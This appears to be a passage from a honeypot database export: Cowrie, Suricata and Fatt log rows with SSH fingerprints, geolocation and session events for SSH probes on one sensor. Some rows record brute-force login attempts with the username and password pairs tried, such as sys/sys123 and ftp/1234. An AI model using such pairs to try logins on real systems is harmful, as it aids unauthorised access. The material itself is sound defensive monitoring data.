512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
41545	192.168.20.147	109.199.241.180	Suricata	2021-09-20 16:06:05.567412+03	2021-09-20 16:15:03.052748+03	{"_id": "awZQA3wBvYTbRNuESY8y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:06:05.567412Z", "@timestamp": "2021-09-20T13:06:05.567Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
26158	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:37.320829+03	2021-09-20 14:15:12.905645+03	{"_id": "gQbnAnwBvYTbRNuEfB_H", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [sys/sys123] failed", "session": "95fb00b134d2", "@version": "1", "password": "sys123", "username": "sys", "timestamp": "2021-09-20T11:11:37.320829Z", "@timestamp": "2021-09-20T11:11:37.320Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
26159	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:37.430321+03	2021-09-20 14:15:12.906646+03	{"_id": "ggbnAnwBvYTbRNuEfB_H", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "21ac73c02150", "@version": "1", "timestamp": "2021-09-20T11:11:37.430321Z", "@timestamp": "2021-09-20T11:11:37.430Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26160	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:11:37.395489+03	2021-09-20 14:15:12.908645+03	{"_id": "gwbnAnwBvYTbRNuEfh_n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1423461354870094, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 53396, "dest_port": 22, "timestamp": "2021-09-20T11:11:37.395489Z", "@timestamp": "2021-09-20T11:11:37.395Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26161	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:38.099671+03	2021-09-20 14:15:12.909645+03	{"_id": "hgbnAnwBvYTbRNuEgB8L", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 41424, "timestamp": "2021-09-20T11:11:38.099671", "@timestamp": "2021-09-20T11:11:38.099Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26162	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:47.46478+03	2021-09-20 14:15:12.911645+03	{"_id": "bwbnAnwBvYTbRNuEoyDf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:38644 (192.168.176.2:22) [session: d7979cce0475]", "session": "d7979cce0475", "@version": "1", "protocol": "ssh", "src_port": 38644, "dest_port": 22, "timestamp": "2021-09-20T11:11:47.464780Z", "@timestamp": "2021-09-20T11:11:47.464Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26163	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:46.62292+03	2021-09-20 14:15:12.912646+03	{"_id": "eQbnAnwBvYTbRNuEoyDf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "ace5b5b42c11", "@version": "1", "timestamp": "2021-09-20T11:11:46.622920Z", "@timestamp": "2021-09-20T11:11:46.622Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26164	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:11:46.836913+03	2021-09-20 14:15:12.913646+03	{"_id": "hQbnAnwBvYTbRNuEoyDf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "6df13f274ec3", "@version": "1", "timestamp": "2021-09-20T11:11:46.836913Z", "@timestamp": "2021-09-20T11:11:46.836Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26165	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:47.331426+03	2021-09-20 14:15:12.915644+03	{"_id": "hgbnAnwBvYTbRNuEoyDf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "212532671301", "@version": "1", "duration": 2.6166462898254395, "timestamp": "2021-09-20T11:11:47.331426Z", "@timestamp": "2021-09-20T11:11:47.331Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
26166	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:11:47.746482+03	2021-09-20 14:15:12.916645+03	{"_id": "hwbnAnwBvYTbRNuEpiAA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 93571977040191, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 38644, "dest_port": 22, "timestamp": "2021-09-20T11:11:47.746482Z", "@timestamp": "2021-09-20T11:11:47.746Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26173	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:49.737934+03	2021-09-20 14:15:12.925646+03	{"_id": "swbnAnwBvYTbRNuEryCb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "ff0641c5db98", "@version": "1", "duration": 3.0095207691192627, "timestamp": "2021-09-20T11:11:49.737934Z", "@timestamp": "2021-09-20T11:11:49.737Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26167	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:47.924569+03	2021-09-20 14:15:12.917646+03	{"_id": "iQbnAnwBvYTbRNuEpyAm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48990, "timestamp": "2021-09-20T11:11:47.924569", "@timestamp": "2021-09-20T11:11:47.924Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26168	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:48.204097+03	2021-09-20 14:15:12.919646+03	{"_id": "jgbnAnwBvYTbRNuEpyDH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [ftp/1234] failed", "session": "ae7fd3fabf78", "@version": "1", "password": "1234", "username": "ftp", "timestamp": "2021-09-20T11:11:48.204097Z", "@timestamp": "2021-09-20T11:11:48.204Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
